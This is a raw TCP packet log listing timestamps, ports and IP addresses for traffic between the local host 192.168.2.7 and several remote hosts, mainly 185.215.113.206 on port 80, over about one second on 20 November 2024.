Nov 20, 2024 21:05:52.785592079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.786073923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.786122084 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.786127090 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.786170959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.786998987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.787062883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.787092924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.787203074 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.787854910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.787911892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.788044930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.788177967 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.788669109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.788733006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.789155960 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.789412022 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.789449930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.789494038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.789737940 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.789808035 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.790322065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.790374041 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.790431023 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.790473938 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.791203976 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.791270018 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.791378975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.791609049 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.791991949 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.792051077 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.792649031 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.792701006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.792889118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.792901039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.792951107 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.793751955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.793826103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.793881893 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.794667959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.794723034 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.794780970 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.794832945 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.795437098 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.795448065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.795495987 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.796227932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.796278954 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.797123909 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.797136068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.797146082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.797192097 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.797235012 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.797965050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.798015118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.798325062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.798372984 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.798774958 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.798876047 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.799487114 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.799546003 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.799686909 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.799794912 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.800601959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.800614119 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.800668001 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.800968885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.801028013 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.801345110 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.801404953 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.801908016 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.801996946 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.802186966 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.802243948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.802294970 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.802337885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.803040028 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.803107023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.803222895 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.803323030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.803878069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.803889990 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.803970098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.804688931 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.804764032 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.804802895 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.805027008 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.806914091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.806982040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.839433908 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.839498043 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.839651108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.839662075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.839690924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.839704990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.839745045 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.840102911 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.840147972 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.840156078 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.840200901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.841047049 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.841094017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.841133118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.841173887 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.841875076 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.842057943 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.842082977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.842140913 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.842761040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.842809916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.843035936 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.843141079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.843521118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.843570948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.843667030 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.843719006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.844429016 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.844439983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.844500065 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.844528913 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.845231056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.845284939 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.845402002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.846020937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.846054077 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.846095085 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.846266985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.846316099 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.846910000 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.846976995 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.847011089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.847058058 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.847758055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.847963095 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.848056078 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.848109007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.848628998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.848701000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.848711967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.848753929 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.849494934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.849679947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.849932909 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.849983931 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.850218058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.850281000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.858023882 CET	443	49864	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.858364105 CET	49864	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.858392954 CET	443	49864	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.858894110 CET	443	49864	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.859214067 CET	49864	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.859292984 CET	443	49864	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.859391928 CET	49864	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.904591084 CET	443	49865	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.905059099 CET	49865	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.905131102 CET	443	49865	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.907334089 CET	443	49864	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.908989906 CET	443	49865	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.909071922 CET	49865	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.911294937 CET	49865	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.911381006 CET	443	49865	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.912568092 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.912631035 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.912761927 CET	49865	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.912796974 CET	443	49865	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.912847042 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.912898064 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.912971020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.912982941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.913024902 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.913528919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.913611889 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.914097071 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.914155960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.914391994 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.914412975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.914448977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.914470911 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.915281057 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.915335894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.915601015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.915647030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.916064024 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.916115999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.916165113 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.916205883 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.916941881 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.916954041 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.917026043 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.917756081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.917805910 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.918106079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.918152094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.918596983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.918658018 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.918663025 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.918730974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.919444084 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.919516087 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.920012951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.920181036 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.920330048 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.920427084 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.937175989 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.937608004 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.937621117 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.938249111 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.938617945 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.938632011 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.939090014 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.939158916 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.939475060 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.939583063 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.939625025 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.939661980 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.939732075 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.939960957 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.940010071 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.940051079 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.943509102 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.943749905 CET	49863	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.943766117 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.944869995 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.945183039 CET	49863	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.945302010 CET	49863	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.945322990 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.945352077 CET	443	49863	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.956171036 CET	49865	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.972074032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.972135067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.972254992 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.972302914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.972511053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.972522020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.972565889 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.973351955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.973427057 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.973625898 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.973747015 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.974128962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.974184990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.974412918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.974469900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.974528074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.974607944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.975344896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.975445032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.975485086 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.975496054 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.976114988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.976171970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.976774931 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.976829052 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.977247000 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.977262974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.977314949 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.977816105 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.977864981 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.977947950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.978033066 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.978667974 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.978682995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.978727102 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.978748083 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.979504108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.979564905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.979746103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.979792118 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.980403900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.980469942 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.980530024 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.980596066 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.981340885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.981427908 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:52.981432915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.981475115 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:52.987241030 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.987250090 CET	443	49866	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.987297058 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.987304926 CET	49863	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:52.987330914 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:52.987361908 CET	443	49867	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.028271914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:53.032505035 CET	49866	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.032632113 CET	49867	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.040839911 CET	443	49868	108.139.47.108	192.168.2.7
Nov 20, 2024 21:05:53.041080952 CET	49868	443	192.168.2.7	108.139.47.108
Nov 20, 2024 21:05:53.041094065 CET	443	49868	108.139.47.108	192.168.2.7
Nov 20, 2024 21:05:53.041448116 CET	443	49868	108.139.47.108	192.168.2.7
Nov 20, 2024 21:05:53.041785002 CET	49868	443	192.168.2.7	108.139.47.108
Nov 20, 2024 21:05:53.041845083 CET	443	49868	108.139.47.108	192.168.2.7
Nov 20, 2024 21:05:53.041946888 CET	49868	443	192.168.2.7	108.139.47.108
Nov 20, 2024 21:05:53.074764967 CET	443	49861	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.075037956 CET	49861	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.075074911 CET	443	49861	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.076256990 CET	443	49861	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.076709032 CET	49861	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.076905966 CET	49861	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.076935053 CET	443	49861	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.086144924 CET	443	49859	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:53.086412907 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:53.086425066 CET	443	49859	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:53.087328911 CET	443	49868	108.139.47.108	192.168.2.7
Nov 20, 2024 21:05:53.088181019 CET	443	49859	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:53.088257074 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:53.089555979 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:53.089642048 CET	443	49859	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:53.089752913 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:53.089804888 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:53.089848995 CET	443	49859	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:53.122772932 CET	443	49860	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:53.122884989 CET	443	49860	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:53.123033047 CET	49860	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:53.123934984 CET	49860	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:53.123964071 CET	443	49860	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:53.126663923 CET	49861	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.132834911 CET	49879	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:53.132879019 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:53.133049011 CET	49879	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:53.133275986 CET	49879	443	192.168.2.7	20.1.248.118
Nov 20, 2024 21:05:53.133286953 CET	443	49879	20.1.248.118	192.168.2.7
Nov 20, 2024 21:05:53.141777992 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:53.141803026 CET	443	49859	104.46.162.227	192.168.2.7
Nov 20, 2024 21:05:53.147820950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:53.188287973 CET	49859	443	192.168.2.7	104.46.162.227
Nov 20, 2024 21:05:53.297168016 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.298672915 CET	49862	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.298746109 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.299269915 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.300488949 CET	49862	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.300641060 CET	443	49862	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:53.300673962 CET	49862	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:53.301292896 CET	443	49864	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.301316977 CET	443	49864	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.301366091 CET	49864	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.301386118 CET	443	49864	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.301399946 CET	443	49864	104.117.182.27	192.168.2.7
Nov 20, 2024 21:05:53.301449060 CET	49864	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.304275990 CET	49864	443	192.168.2.7	104.117.182.27
Nov 20, 2024 21:05:53.304294109 CET	443	49864	104.117.182.27	192.168.2.7
